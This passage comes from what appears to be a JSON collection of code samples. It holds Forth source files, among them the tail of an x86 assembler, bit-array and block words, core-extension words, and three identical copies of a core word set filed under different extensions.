imm32,   imm @ , ;\n: disp8,   disp @ c, ;\n: disp32,   disp @ , ;\n\n\\ Set operand size.\n: -opsize   2drop r> drop ;\n: opsize!   is imm,  s !  ['] -opsize is ?opsize ;\n: !op8    0 ['] imm8, ?opsize ;\n: !op32   1 ['] imm32, ?opsize ;\n: !op16   1 ['] imm16, ?opsize 66 c, ;\n\n\\ Set SIB byte.\n: !sib   ['] sib, is ?sib, ;\n: sib!   3 lshift + sib !  !sib ;\n\n\\ Set displacement.\n: byte?   -80 80 within ;\n: disp!   is ?disp, disp ! ;\n: !disp8   ['] disp8, disp! ;\n: !disp32   ['] disp32, disp! ;\n: !disp ( a -- u ) dup byte? if !disp8 40 else !disp32 80 then ;\n: -pc   here 5 + negate ;\n: relative   -pc disp +! ;\n\n\\ Set immediate operand.\n: imm!   imm !  ['] imm, is ?imm, ;\n\n\\ Implements addressing modes: register, indirect, indexed, and direct.\n: reg1   rm! !reg ;\n: reg2   3 lshift reg! ;\n: !reg2   ['] reg2 is reg ;\n: ind   dup mod! rm! !mem !reg2 ;\n: ind#   swap !disp + ind ;\n: idx   04 ind  sib! ;\n: idx#   rot !disp 04 + ind  sib! ;\n: addr   !disp32  05 ind ;\n\n\\ Reset assembler state.\n: 0opsize   ['] opsize! is ?opsize ;\n: 0ds   d off  s off ;\n: 0reg   ['] reg1 is reg ;\n: 0mrrm   c0 mrrm !  ['] mrrm, is ?mrrm, ;\n: 0sib   ['] nop is ?sib, ;\n: 0disp   ['] nop is ?disp, ;\n: 0imm   imm off  ['] nop is ?imm,  0 is imm, ;\n: 0asm   0imm 0disp 0reg 0ds 0mrrm 0sib 0opsize  dir? on ;\n\n\\ Enter and exit assembler mode.\n: start-code   also assembler 0asm ;\n: end-code     align previous ;\n\n\\ Implements addressing mode: immediate.\n: imm8?   imm @ byte? ;\n: ?sign-extend   d off  imm8? if 2 d !  ['] imm8, is ?imm, then ;\n: alu#   opcode @ reg! 80 opcode ! ?sign-extend ;\n: mov#   B0 s @ 3 lshift + rm@ + opcode ! 0ds -mrrm ;\n: push#   imm8? if ['] imm8, 6A else ['] imm32, 68 then dup opcode ! rm! is ?imm, ;\n: test#   F6 opcode ! ;\n: imm-op   imm! immediate-opcode ;\n\n\\ Process one operand.  All operands except a direct address\n\\ have the stack picture ( n*x xt -addr ).\n: addr?   dup -addr <> ;\n: op   addr? if addr else drop execute then ;\n\n\\ Define instruction formats.\n: instruction,   opcode! opcode, ?mrrm, ?sib, ?disp, ?imm, 0asm ;\n: mnemonic ( u a \"name\" -- ) create ['] nop 3,  does> instruction, ;\n: format:   create ] !csp  does> mnemonic ;\n: immediate:   ' latestxt >body ! ;\n\n\\ Instruction formats.\nformat: 0op   -mrrm ;\nformat: 1reg   op reg>opcode 0ds -mrrm ;\nformat: 1op   opcode>reg op d off ;\nformat: 2op   op op ;\nformat: 2op-d   op op d off ;\nformat: 2op-ds   op op 0ds ;\nformat: 1addr   op relative -mrrm ;\nformat: 1imm8   !op8 op -mrrm ;\n\n\\ Instruction mnemonics.\n00 2op add,  immediate: alu#\n08 2op or,   immediate: alu#\n0F44 2op-ds cmove,  \\ Todo: other condition codes.\n0FB6 2op-ds movzx,\n0FBE 2op-ds movsx,\n10 2op adc,  immediate: alu#\n18 2op sbb,  immediate: alu#\n20 2op and,  immediate: alu#\n26 0op es,\n28 2op sub,  immediate: alu#\n2E 0op cs,\n30 2op xor,  immediate: alu#\n36 0op ss,\n38 2op cmp,  immediate: alu#\n3E 0op ds,\n50 1reg push,  immediate: push#\n58 1reg pop,\n64 0op fs,\n65 0op gs,\n\\ 70 jcc\n84 2op-d test,   immediate: test#\n86 2op-d xchg,\n88 2op mov,  immediate: mov#\n8D 2op-ds lea,\n\\ 8F/0 pop, rm\n90 0op nop,\nC3 0op ret,\n\\ C6/0 immediate mov to r/m\n\\ C7/0 immediate mov to r/m\nCD 1imm8 int,\nE8 1addr call,\nE9 1addr jmp,\n\\ EB jmp rel8\nF0 0op lock,\nF2 0op rep,\nF3 0op repz,\nF4 0op hlt,\nF5 0op cmc,\nF610 1op not,\nF618 1op neg,\nF8 0op clc,\nF9 0op stc,\nFA 0op cli,\nFB 0op sti,\nFC 0op cld,\nFD 0op std,\n\\ FE 0 inc rm\n\\ FF 1 dec rm\n\\ FF 2 call rm\n\\ FF 4 jmp rm\n\\ FF 6 push rm\n\n: sp?   dup 4 = ;\n\n\\ Addressing mode syntax: immediate, indirect, and displaced indirect.\n: #   ['] imm-op -addr ;\n: )   2drop  sp? if 4 ['] idx else ['] ind then -addr  0reg 0opsize ;\n: )#   2drop  sp? if 4 ['] idx# else ['] ind# then -addr  0reg 0opsize ;\n\n\\ Define registers.\n: reg8    create ,  does> @ ['] reg -addr !op8 ;\n: reg16   create ,  does> @ ['] reg -addr !op16 ;\n: reg32   create ,  does> @ ['] reg -addr !op32 ;\n: reg:    dup reg8 dup reg16 dup reg32 1+ ;\n\n\\ Register names.\n0\nreg: al ax eax   reg: cl cx ecx   reg: dl dx edx   reg: bl bx ebx\nreg: ah sp esp   reg: ch bp ebp   reg: dh si esi   reg: bh di edi\ndrop\n\n\\ Runtime for ;CODE.  CODE! is defined elsewhere.\n: (;code)   r> code! ;\n\nbase !  only forth definitions  also assembler\n\n\\ Standard assembler entry points.\n: code    parse-name header, ?code, start-code  ;\n: ;code   postpone (;code) reveal postpone [ ?csp start-code ; immediate\n\n0asm\nprevious\n"
  },
  {
    "path": "samples/Forth/bitmap.frt",
    "content": "\\ Bit arrays.\n: bits ( u1 -- u2 ) 7 + 3 rshift ;\n: bitmap ( u \"name\" -- ) create bits here over erase allot\n   does> ( u -- a x ) over 3 rshift +  1 rot 7 and lshift ;\n: bit@ ( a x -- f ) swap c@ and ;\n: 1bit ( a x -- ) over c@ or swap c! ;\n: 0bit ( a x -- ) invert over c@ and swap c! ;\n: bit! ( f a x -- ) rot if 1bit else 0bit then ;\n"
  },
  {
    "path": "samples/Forth/block.fth",
    "content": "( Block words. )\n\nvariable blk\nvariable current-block\n\n: block ( n -- addr )\n    current-block ! 0 ;\n\n: buffer ( n -- addr )\n    current-block ! 0 ;\n\n\\ evaluate (extended semantics)\n\\ flush ( -- )\n\n: load ( ... n -- ... )\n    dup current-block !\n    blk !\n    save-input\n    0 >in !\n    blk @ block ''source !  1024 ''#source !\n    ( interpret )\n    restore-input ;\n\n\\ save-buffers ( -- )\n\\ update ( -- )\n\n( Block extension words. )\n\n\\ empty-buffers ( -- )\n\nvariable  scr\n\n: list ( n -- )\n    dup scr !\n    dup current-block !\n    block 1024 bounds do i @ emit loop ;\n\n\\ refill (extended semantics)\n\n: thru ( x y -- )   +1 swap do i load loop ;\n\n\\ \\ (extended semantics)\n"
  },
  {
    "path": "samples/Forth/core-ext.fth",
    "content": "\\ -*- forth -*- Copyright 2004, 2013 Lars Brinkhoff\n\n\\ Kernel: #tib\n\\ TODO:   .r\n\n: .( ( \"<string><paren>\" -- )\n    [char] ) parse type ; immediate\n\n: 0<> ( n -- flag )   0 <> ;\n\n: 0> ( n -- flag )   0 > ;\n\n\\ Kernel: 2>r\n\n: 2r> ( -- x1 x2 ) ( R: x1 x2 -- )   r> r> r> rot >r swap ;\n\n: 2r@ ( -- x1 x2 ) ( R: x1 x2 -- x1 x2 )   2r> 2dup 2>r ;\n\n: :noname   align here  0 c, 15 allot  lastxt dup @ , !\n            [ ' enter >code @ ] literal , 0 , ] lastxt @ ;\n\n\\ Kernel: <>\n\n\\ : ?do ( n1 n2 -- ) ( R: -- loop-sys ) ( C: -- do-sys )\n\\     here  postpone 2>r  unresolved branch  here ;\n\n: again ( -- ) ( C: dest -- )\n    postpone branch , ; immediate\n\n: string+ ( caddr -- addr )\n    count + aligned ;\n\n: (c\") ( -- caddr ) ( R: ret1 -- ret2 )\n    r> dup string+ >r ;\n\n: c\" ( \"<string><quote>\" -- caddr )\n    postpone (c\")  [char] \" parse  dup c,  string, ; immediate\n\n: case ( -- ) ( C: -- case-sys )\n    0 ;\n\n: compile, ( xt -- )\n    , ;\n\n\\ TODO: convert\n\n: endcase ( x -- ) ( C: case-sys -- )\n    0 do  postpone then  loop\n    postpone drop ;\n\n: endof ( -- ) ( C: case-sys1 of-sys -- case-sys2 )\n    postpone else  swap 1+ ;\n\n\\ TODO: erase\n\\ TODO: expect\n\n: false ( -- 0 )\n    0 ;\n\n: hex ( -- )\n    16 base ! ;\n\n\\ TODO:   marker\n\\ Kernel: nip\n\n: of ( x x -- | x y -- x ) ( C: -- of-sys )\n    postpone over  postpone =  postpone if  postpone drop ;\n\n\\ Kernel: pad\n\\ Kernel: parse\n\n: pick ( xn ... x0 n -- xn ... x0 xn )\n    2 + cells 'SP @ + @ ;\n\n: query ( -- )\n    tib ''source !  #tib ''#source !  0 'source-id !\n    refill drop ;\n\n\\ Kernel: refill\n\\ Kernel: restore-input\n\n\\ TODO: roll ( xn xn-1 ... x0 n -- xn-1 ... x0 xn ) ;\n\n\\ Kernel: save-input\n\\ Kernel: source-id\n\\ TODO:   span\n\\ Kernel: tib\n\n: to ( x \"word\" -- )\n    ' >body , ;\n\n: true ( -- -1 )\n    -1 ;\n\n: tuck ( x y -- y x y )\n    swap over ;\n\n\\ TODO: u.r\n\n: u> ( x y -- flag )\n    2dup u< if 2drop false else <> then ;\n\n\\ TODO: unused\n\n: value ( x \"word\" -- )\n    create ,\n  does> ( -- x )\n    @ ;\n\n: within   over - >r - r> u< ;\n\n\\ TODO: [compile]\n\n\\ Kernel: \\\n\n\\ ----------------------------------------------------------------------\n\n( Forth2012 core extension words. )\n\n\\ TODO: action-of\n\n\\ TODO: buffer:\n\n: defer   create ['] abort ,  does> @ execute ;\n\n: defer! ( xt2 xt1 -- )   >body ! ;\n\n: defer@ ( xt1 -- xt2 )   >body @ ;\n\n\\ TODO: holds\n\n: is ( xt \"word\" -- )   ' defer! ;\n\n\\ TODO: parse-name\n\n\\ TODO: s\\\"\n"
  },
  {
    "path": "samples/Forth/core.f",
    "content": ": immediate   lastxt @ dup c@ negate swap c! ;\n\n: \\   source nip >in ! ; immediate \\ Copyright 2004, 2012 Lars Brinkhoff\n\n: char \\ ( \"word\" -- char )\n    bl-word here 1+ c@ ;\n\n: ahead  here 0 , ;\n\n: resolve   here swap ! ;\n\n: '   bl-word here find 0branch [ ahead ] exit [ resolve ] 0 ;\n\n: postpone-nonimmediate   [ ' literal , ' compile, ] literal , ;\n\n: create   dovariable_code header, reveal ;\n\ncreate postponers\n    ' postpone-nonimmediate ,\n    ' abort ,\n    ' , ,\n\n: word \\ ( char \"<chars>string<char>\" -- caddr )\n    drop bl-word here ;\n\n: postpone \\ ( C: \"word\" -- )\n    bl word find 1+ cells  postponers + @ execute ; immediate\n\n: unresolved \\ ( C: \"word\" -- orig )\n    postpone postpone  postpone ahead ; immediate\n\n: chars \\ ( n1 -- n2 )\n    ;\n\n: else \\ ( -- ) ( C: orig1 -- orig2 )\n    unresolved branch swap resolve ; immediate\n\n: if \\ ( flag -- ) ( C: -- orig )\n    unresolved 0branch ; immediate\n\n: then \\ ( -- ) ( C: orig -- )\n    resolve ; immediate\n\n: [char] \\ ( \"word\" -- )\n    char  postpone literal ; immediate\n\n: (does>)   lastxt @ dodoes_code over >code ! r> swap >does ! ;\n\n: does>   postpone (does>) ; immediate\n\n: begin \\ ( -- ) ( C: -- dest )\n    here ; immediate\n\n: while \\ ( x -- ) ( C: dest -- orig dest )\n    unresolved 0branch swap ; immediate\n\n: repeat \\ ( -- ) ( C: orig dest -- )\n    postpone branch ,  resolve ; immediate\n\n: until \\ ( x -- ) ( C: dest -- )\n    postpone 0branch , ; immediate\n\n: recurse   lastxt @ compile, ; immediate\n\n: pad \\ ( -- addr )\n    here 1024 + ;\n\n: parse \\ ( char \"string<char>\" -- addr n )\n    pad >r  begin\n\tsource? if <source 2dup <> else 0 0 then\n    while\n\tr@ c!  r> 1+ >r\n    repeat  2drop  pad r> over - ;\n\n: ( \\ ( \"string<paren>\" -- )\n    [ char ) ] literal parse 2drop ; immediate\n    \\ TODO: If necessary, refill and keep parsing.\n\n: string, ( addr n -- )\n    here over allot align  swap cmove ;\n\n: (s\") ( -- addr n ) ( R: ret1 -- ret2 )\n    r> dup @ swap cell+ 2dup + aligned >r swap ;\n\ncreate squote   128 allot\n\n: s\" ( \"string<quote>\" -- addr n )\n    state @ if\n\tpostpone (s\")  [char] \" parse  dup ,  string,\n    else\n\t[char] \" parse  >r squote r@ cmove  squote r>\n    then ; immediate\n\n: (abort\") ( ... addr n -- ) ( R: ... -- )\n    cr type cr abort ;\n\n: abort\" ( ... x \"string<quote>\" -- ) ( R: ... -- )\n    postpone if  postpone s\"  postpone (abort\")  postpone then ; immediate\n\n\\ ----------------------------------------------------------------------\n\n( Core words. )\n\n\\ TODO: #\n\\ TODO: #>\n\\ TODO: #s\n\n: and  ( x y -- x&y )   nand invert ;\n\n: *   1 2>r 0 swap begin r@ while\n         r> r> swap 2dup dup + 2>r and if swap over + swap then dup +\n      repeat r> r> 2drop drop ;\n\n\\ TODO: */mod\n\n: +loop ( -- ) ( C: nest-sys -- )\n    postpone (+loop)  postpone 0branch  ,  postpone unloop ; immediate\n\n: space   bl emit ;\n\n: ?.-  dup 0 < if [char] - emit negate then ;\n\n: digit   [char] 0 + emit ;\n\n: (.)   base @ /mod  ?dup if recurse then  digit ;\n\n: .\" ( \"string<quote>\" -- )   postpone s\"  postpone type ; immediate\n\n: . ( x -- )   ?.- (.) space ;\n\n: postpone-number ( caddr -- )\n    0 0 rot count >number dup 0= if\n\t2drop nip\n\tpostpone (literal)  postpone (literal)  postpone ,\n\tpostpone literal  postpone ,\n    else\n\t.\" Undefined: \" type cr abort\n    then ;\n\n' postpone-number  postponers cell+  !\n\n: / ( x y -- x/y )   /mod nip ;\n\n: 0< ( n -- flag )   0 < ;\n\n: 1- ( n -- n-1 )   -1 + ;\n\n: 2! ( x1 x2 addr -- )   swap over ! cell+ ! ;\n\n: 2* ( n -- 2n )   dup + ;\n\n\\ Kernel: 2/\n\n: 2@ ( addr -- x1 x2 )   dup cell+ @ swap @ ;\n\n\\ Kernel: 2drop\n\\ Kernel: 2dup\n\n\\ TODO: 2over ( x1 x2 x3 x4 -- x1 x2 x3 x4 x1 x2 )\n\\           3 pick 3 pick ;\n\n\\ TODO: 2swap\n\n\\ TODO: <#\n\n: abs ( n -- |n| )\n    dup 0< if negate then ;\n\n\\ TODO: accept\n\n: c, ( n -- )\n    here c!  1 chars allot ;\n\n: char+ ( n1 -- n2 )\n    1+ ;\n\n: constant   create , does> @ ;\n\n: decimal ( -- )\n    10 base ! ;\n\n: depth ( -- n )\n    data_stack 100 cells +  'SP @  - /cell /  2 - ;\n\n: do ( n1 n2 -- ) ( R: -- loop-sys ) ( C: -- do-sys )\n    postpone 2>r  here ; immediate\n\n\\ TODO: environment?\n\\ TODO: evaluate\n\\ TODO: fill\n\\ TODO: fm/mod )\n\\ TODO: hold\n\n: j ( -- x1 ) ( R: x1 x2 x3 -- x1 x2 x3 )\n    'RP @ 3 cells + @ ;\n\n\\ TODO: leave\n\n: loop ( -- ) ( C: nest-sys -- )\n    postpone 1  postpone (+loop)\n    postpone 0branch  ,\n    postpone unloop ; immediate\n\n: lshift   begin ?dup while 1- swap dup + swap repeat ;\n\n: rshift   1 begin over while dup + swap 1- swap repeat nip\n           2>r 0 1 begin r@ while\n              r> r> 2dup swap dup + 2>r and if swap over + swap then dup +\n           repeat r> r> 2drop drop ;\n\n: max ( x y -- max[x,y] )\n    2dup > if drop else nip then ;\n\n\\ Kernel: min\n\\ TODO:   mod\n\\ TODO:   move\n\n: (quit) ( R: ... -- )\n    return_stack 100 cells + 'RP !\n    0 'source-id !  tib ''source !  #tib ''#source !\n    postpone [\n    begin\n\trefill\n    while\n\tinterpret  state @ 0= if .\" ok\" cr then\n    repeat\n    bye ;\n\n' (quit)  ' quit >body cell+  !\n\n\\ TODO: s>d\n\\ TODO: sign\n\\ TODO: sm/rem\n\n: spaces ( n -- )\n    0 do space loop ;\n\n\\ TODO: u.\n\n: signbit ( -- n )   -1 1 rshift invert ;\n\n: xor ( x y -- x^y )    2dup nand >r r@ nand swap r> nand nand ;\n\n: u<  ( x y -- flag )  signbit xor swap signbit xor > ;\n\n\\ TODO: um/mod\n\n: variable ( \"word\" -- )\n    create /cell allot ;\n\n: ['] \\ ( C: \"word\" -- )\n    ' postpone literal ; immediate\n"
  },
  {
    "path": "samples/Forth/core.for",
    "content": ": immediate   lastxt @ dup c@ negate swap c! ;\n\n: \\   source nip >in ! ; immediate \\ Copyright 2004, 2012 Lars Brinkhoff\n\n: char \\ ( \"word\" -- char )\n    bl-word here 1+ c@ ;\n\n: ahead  here 0 , ;\n\n: resolve   here swap ! ;\n\n: '   bl-word here find 0branch [ ahead ] exit [ resolve ] 0 ;\n\n: postpone-nonimmediate   [ ' literal , ' compile, ] literal , ;\n\n: create   dovariable_code header, reveal ;\n\ncreate postponers\n    ' postpone-nonimmediate ,\n    ' abort ,\n    ' , ,\n\n: word \\ ( char \"<chars>string<char>\" -- caddr )\n    drop bl-word here ;\n\n: postpone \\ ( C: \"word\" -- )\n    bl word find 1+ cells  postponers + @ execute ; immediate\n\n: unresolved \\ ( C: \"word\" -- orig )\n    postpone postpone  postpone ahead ; immediate\n\n: chars \\ ( n1 -- n2 )\n    ;\n\n: else \\ ( -- ) ( C: orig1 -- orig2 )\n    unresolved branch swap resolve ; immediate\n\n: if \\ ( flag -- ) ( C: -- orig )\n    unresolved 0branch ; immediate\n\n: then \\ ( -- ) ( C: orig -- )\n    resolve ; immediate\n\n: [char] \\ ( \"word\" -- )\n    char  postpone literal ; immediate\n\n: (does>)   lastxt @ dodoes_code over >code ! r> swap >does ! ;\n\n: does>   postpone (does>) ; immediate\n\n: begin \\ ( -- ) ( C: -- dest )\n    here ; immediate\n\n: while \\ ( x -- ) ( C: dest -- orig dest )\n    unresolved 0branch swap ; immediate\n\n: repeat \\ ( -- ) ( C: orig dest -- )\n    postpone branch ,  resolve ; immediate\n\n: until \\ ( x -- ) ( C: dest -- )\n    postpone 0branch , ; immediate\n\n: recurse   lastxt @ compile, ; immediate\n\n: pad \\ ( -- addr )\n    here 1024 + ;\n\n: parse \\ ( char \"string<char>\" -- addr n )\n    pad >r  begin\n\tsource? if <source 2dup <> else 0 0 then\n    while\n\tr@ c!  r> 1+ >r\n    repeat  2drop  pad r> over - ;\n\n: ( \\ ( \"string<paren>\" -- )\n    [ char ) ] literal parse 2drop ; immediate\n    \\ TODO: If necessary, refill and keep parsing.\n\n: string, ( addr n -- )\n    here over allot align  swap cmove ;\n\n: (s\") ( -- addr n ) ( R: ret1 -- ret2 )\n    r> dup @ swap cell+ 2dup + aligned >r swap ;\n\ncreate squote   128 allot\n\n: s\" ( \"string<quote>\" -- addr n )\n    state @ if\n\tpostpone (s\")  [char] \" parse  dup ,  string,\n    else\n\t[char] \" parse  >r squote r@ cmove  squote r>\n    then ; immediate\n\n: (abort\") ( ... addr n -- ) ( R: ... -- )\n    cr type cr abort ;\n\n: abort\" ( ... x \"string<quote>\" -- ) ( R: ... -- )\n    postpone if  postpone s\"  postpone (abort\")  postpone then ; immediate\n\n\\ ----------------------------------------------------------------------\n\n( Core words. )\n\n\\ TODO: #\n\\ TODO: #>\n\\ TODO: #s\n\n: and  ( x y -- x&y )   nand invert ;\n\n: *   1 2>r 0 swap begin r@ while\n         r> r> swap 2dup dup + 2>r and if swap over + swap then dup +\n      repeat r> r> 2drop drop ;\n\n\\ TODO: */mod\n\n: +loop ( -- ) ( C: nest-sys -- )\n    postpone (+loop)  postpone 0branch  ,  postpone unloop ; immediate\n\n: space   bl emit ;\n\n: ?.-  dup 0 < if [char] - emit negate then ;\n\n: digit   [char] 0 + emit ;\n\n: (.)   base @ /mod  ?dup if recurse then  digit ;\n\n: .\" ( \"string<quote>\" -- )   postpone s\"  postpone type ; immediate\n\n: . ( x -- )   ?.- (.) space ;\n\n: postpone-number ( caddr -- )\n    0 0 rot count >number dup 0= if\n\t2drop nip\n\tpostpone (literal)  postpone (literal)  postpone ,\n\tpostpone literal  postpone ,\n    else\n\t.\" Undefined: \" type cr abort\n    then ;\n\n' postpone-number  postponers cell+  !\n\n: / ( x y -- x/y )   /mod nip ;\n\n: 0< ( n -- flag )   0 < ;\n\n: 1- ( n -- n-1 )   -1 + ;\n\n: 2! ( x1 x2 addr -- )   swap over ! cell+ ! ;\n\n: 2* ( n -- 2n )   dup + ;\n\n\\ Kernel: 2/\n\n: 2@ ( addr -- x1 x2 )   dup cell+ @ swap @ ;\n\n\\ Kernel: 2drop\n\\ Kernel: 2dup\n\n\\ TODO: 2over ( x1 x2 x3 x4 -- x1 x2 x3 x4 x1 x2 )\n\\           3 pick 3 pick ;\n\n\\ TODO: 2swap\n\n\\ TODO: <#\n\n: abs ( n -- |n| )\n    dup 0< if negate then ;\n\n\\ TODO: accept\n\n: c, ( n -- )\n    here c!  1 chars allot ;\n\n: char+ ( n1 -- n2 )\n    1+ ;\n\n: constant   create , does> @ ;\n\n: decimal ( -- )\n    10 base ! ;\n\n: depth ( -- n )\n    data_stack 100 cells +  'SP @  - /cell /  2 - ;\n\n: do ( n1 n2 -- ) ( R: -- loop-sys ) ( C: -- do-sys )\n    postpone 2>r  here ; immediate\n\n\\ TODO: environment?\n\\ TODO: evaluate\n\\ TODO: fill\n\\ TODO: fm/mod )\n\\ TODO: hold\n\n: j ( -- x1 ) ( R: x1 x2 x3 -- x1 x2 x3 )\n    'RP @ 3 cells + @ ;\n\n\\ TODO: leave\n\n: loop ( -- ) ( C: nest-sys -- )\n    postpone 1  postpone (+loop)\n    postpone 0branch  ,\n    postpone unloop ; immediate\n\n: lshift   begin ?dup while 1- swap dup + swap repeat ;\n\n: rshift   1 begin over while dup + swap 1- swap repeat nip\n           2>r 0 1 begin r@ while\n              r> r> 2dup swap dup + 2>r and if swap over + swap then dup +\n           repeat r> r> 2drop drop ;\n\n: max ( x y -- max[x,y] )\n    2dup > if drop else nip then ;\n\n\\ Kernel: min\n\\ TODO:   mod\n\\ TODO:   move\n\n: (quit) ( R: ... -- )\n    return_stack 100 cells + 'RP !\n    0 'source-id !  tib ''source !  #tib ''#source !\n    postpone [\n    begin\n\trefill\n    while\n\tinterpret  state @ 0= if .\" ok\" cr then\n    repeat\n    bye ;\n\n' (quit)  ' quit >body cell+  !\n\n\\ TODO: s>d\n\\ TODO: sign\n\\ TODO: sm/rem\n\n: spaces ( n -- )\n    0 do space loop ;\n\n\\ TODO: u.\n\n: signbit ( -- n )   -1 1 rshift invert ;\n\n: xor ( x y -- x^y )    2dup nand >r r@ nand swap r> nand nand ;\n\n: u<  ( x y -- flag )  signbit xor swap signbit xor > ;\n\n\\ TODO: um/mod\n\n: variable ( \"word\" -- )\n    create /cell allot ;\n\n: ['] \\ ( C: \"word\" -- )\n    ' postpone literal ; immediate\n"
  },
  {
    "path": "samples/Forth/core.fs",
    "content": ": immediate   lastxt @ dup c@ negate swap c! ;\n\n: \\   source nip >in ! ; immediate \\ Copyright 2004, 2012 Lars Brinkhoff\n\n: char \\ ( \"word\" -- char )\n    bl-word here 1+ c@ ;\n\n: ahead  here 0 , ;\n\n: resolve   here swap ! ;\n\n: '   bl-word here find 0branch [ ahead ] exit [ resolve ] 0 ;\n\n: postpone-nonimmediate   [ ' literal , ' compile, ] literal , ;\n\n: create   dovariable_code header, reveal ;\n\ncreate postponers\n    ' postpone-nonimmediate ,\n    ' abort ,\n    ' , ,\n\n: word \\ ( char \"<chars>string<char>\" -- caddr )\n    drop bl-word here ;\n\n: postpone \\ ( C: \"word\" -- )\n    bl word find 1+ cells  postponers + @ execute ; immediate\n\n: unresolved \\ ( C: \"word\" -- orig )\n    postpone postpone  postpone ahead ; immediate\n\n: chars \\ ( n1 -- n2 )\n    ;\n\n: else \\ ( -- ) ( C: orig1 -- orig2 )\n    unresolved branch swap resolve ; immediate\n\n: if \\ ( flag -- ) ( C: -- orig )\n    unresolved 0branch ; immediate\n\n: then \\ ( -- ) ( C: orig -- )\n    resolve ; immediate\n\n: [char] \\ ( \"word\" -- )\n    char  postpone literal ; immediate\n\n: (does>)   lastxt @ dodoes_code over >code ! r> swap >does ! ;\n\n: does>   postpone (does>) ; immediate\n\n: begin \\ ( -- ) ( C: -- dest )\n    here ; immediate\n\n: while \\ ( x -- ) ( C: dest -- orig dest )\n    unresolved 0branch swap ; immediate\n\n: repeat \\ ( -- ) ( C: orig dest -- )\n    postpone branch ,  resolve ; immediate\n\n: until \\ ( x -- ) ( C: dest -- )\n    postpone 0branch , ; immediate\n\n: recurse   lastxt @ compile, ; immediate\n\n: pad \\ ( -- addr )\n    here 1024 + ;\n\n: parse \\ ( char \"string<char>\" -- addr n )\n    pad >r  begin\n\tsource? if <source 2dup <> else 0 0 then\n    while\n\tr@ c!  r> 1+ >r\n    repeat  2drop  pad r> over - ;\n\n: ( \\ ( \"string<paren>\" -- )\n    [ char ) ] literal parse 2drop ; immediate\n    \\ TODO: If necessary, refill and keep parsing.\n\n: string, ( addr n -- )\n    here over allot align  swap cmove ;\n\n: (s\") ( -- addr n ) ( R: ret1 -- ret2 )\n    r> dup @ swap cell+ 2dup + aligned >r swap ;\n\ncreate squote   128 allot\n\n: s\" ( \"string<quote>\" -- addr n )\n    state @ if\n\tpostpone (s\")  [char] \" parse  dup ,  string,\n    else\n\t[char] \" parse  >r squote r@ cmove  squote r>\n    then ; immediate\n\n: (abort\") ( ... addr n -- ) ( R: ... -- )\n    cr type cr abort ;\n\n: abort\" ( ... x \"string<quote>\" -- ) ( R: ... -- )\n    postpone if  postpone s\"  postpone (abort\")  postpone then ; immediate\n\n\\ ----------------------------------------------------------------------\n\n( Core words. )\n\n\\ TODO: #\n\\ TODO: #>\n\\ TODO: #s\n\n: and  ( x y -- x&y )   nand invert ;\n\n: *   1 2>r 0 swap begin r@ while\n         r> r> swap 2dup dup + 2>r and if swap over + swap then dup +\n      repeat r> r> 2drop drop ;\n\n\\ TODO: */mod\n\n: +loop ( -- ) ( C: nest-sys -- )\n    postpone (+loop)  postpone 0branch  ,  postpone unloop ; immediate\n\n: space   bl emit ;\n\n: ?.-  dup 0 < if [char] - emit negate then ;\n\n: digit   [char] 0 + emit ;\n\n: (.)   base @ /mod  ?dup if recurse then  digit ;\n\n: .\" ( \"string<quote>\" -- )   postpone s\"  postpone type ; immediate\n\n: . ( x -- )   ?.- (.) space ;\n\n: postpone-number ( caddr -- )\n    0 0 rot count >number dup 0= if\n\t2drop nip\n\tpostpone (literal)  postpone (literal)  postpone ,\n\tpostpone literal  postpone ,\n    else\n\t.\" Undefined: \" type cr abort\n    then ;\n\n' postpone-number  postponers cell+  !\n\n: / ( x y -- x/y )   /mod nip ;\n\n: 0< ( n -- flag )   0 < ;\n\n: 1- ( n -- n-1 )   -1 + ;\n\n: 2! ( x1 x2 addr -- )   swap over ! cell+ ! ;\n\n: 2* ( n -- 2n )   dup + ;\n\n\\ Kernel: 2/\n\n: 2@ ( addr -- x1 x2 )   dup cell+ @ swap @ ;\n\n\\ Kernel: 2drop\n\\ Kernel: 2dup\n\n\\ TODO: 2over ( x1 x2 x3 x4 -- x1 x2 x3 x4 x1 x2 )\n\\           3 pick 3 pick ;\n\n\\ TODO: 2swap\n\n\\ TODO: <#\n\n: abs ( n -- |n| )\n    dup 0< if negate then ;\n\n\\ TODO: accept\n\n: c, ( n -- )\n    here c!  1 chars allot ;\n\n: char+ ( n1 -- n2 )\n    1+ ;\n\n: constant   create , does> @ ;\n\n: decimal ( -- )\n    10 base ! ;\n\n: depth ( -- n )\n    data_stack 100 cells +  'SP @  - /cell /  2 - ;\n\n: do ( n1 n2 -- ) ( R: -- loop-sys ) ( C: -- do-sys )\n    postpone 2>r  here ; immediate\n\n\\ TODO: environment?\n\\ TODO: evaluate\n\\ TODO: fill\n\\ TODO: fm/mod )\n\\ TODO: hold\n\n: j ( -- x1 ) ( R: x1 x2 x3 -- x1 x2 x3 )\n    'RP @ 3 cells + @ ;\n\n\\ TODO: leave\n\n: loop ( -- ) ( C: nest-sys -- )\n    postpone 1  postpone (+loop)\n    postpone 0branch  ,\n    postpone unloop ; immediate\n\n: lshift   begin ?dup while 1- swap dup + swap repeat ;\n\n: rshift   1 begin over while dup + swap 1- swap repeat nip\n           2>r 0 1 begin r@ while\n              r> r> 2dup swap dup + 2>r and if swap over + swap then dup +\n           repeat r> r> 2drop drop ;\n\n: max ( x y -- max[x,y] )\n    2dup > if drop else nip then ;\n\n\\ Kernel: min\n\\ TODO:   mod\n\\ TODO:   move\n\n: (quit) ( R: ... -- )\n    return_stack 100 cells + 'RP !\n    0 'source-id !  tib ''source !  #tib ''#source !\n    postpone [\n    begin\n\trefill\n    while\n\tinterpret  state @ 0= if .\" ok\" cr then\n    repeat\n    bye ;\n\n' (quit)  ' quit >body cell+  !\n\n\\ TODO: s>d\n\\ TODO: sign\n\\ TODO: sm/rem\n\n: spaces ( n -- )\n    0 do space loop ;\n\n\\ TODO: u.\n\n: signbit ( -- n )   -1 1 rshift invert ;\n\n: xor ( x y -- x^y )    2dup nand >r r@ nand swap r> nand nand ;\n\n: u<  ( x y -- flag )  signbit xor swap signbit xor > ;\n\n\\ TODO: um/mod\n\n: variable ( \"word\" -- )\n    create /cell allot ;\n\n: ['] \\ ( C: \"word\" -- )\n    ' postpone literal ; immediate\n"
  },
  {
    "path": "samples/Forth/core.fth",
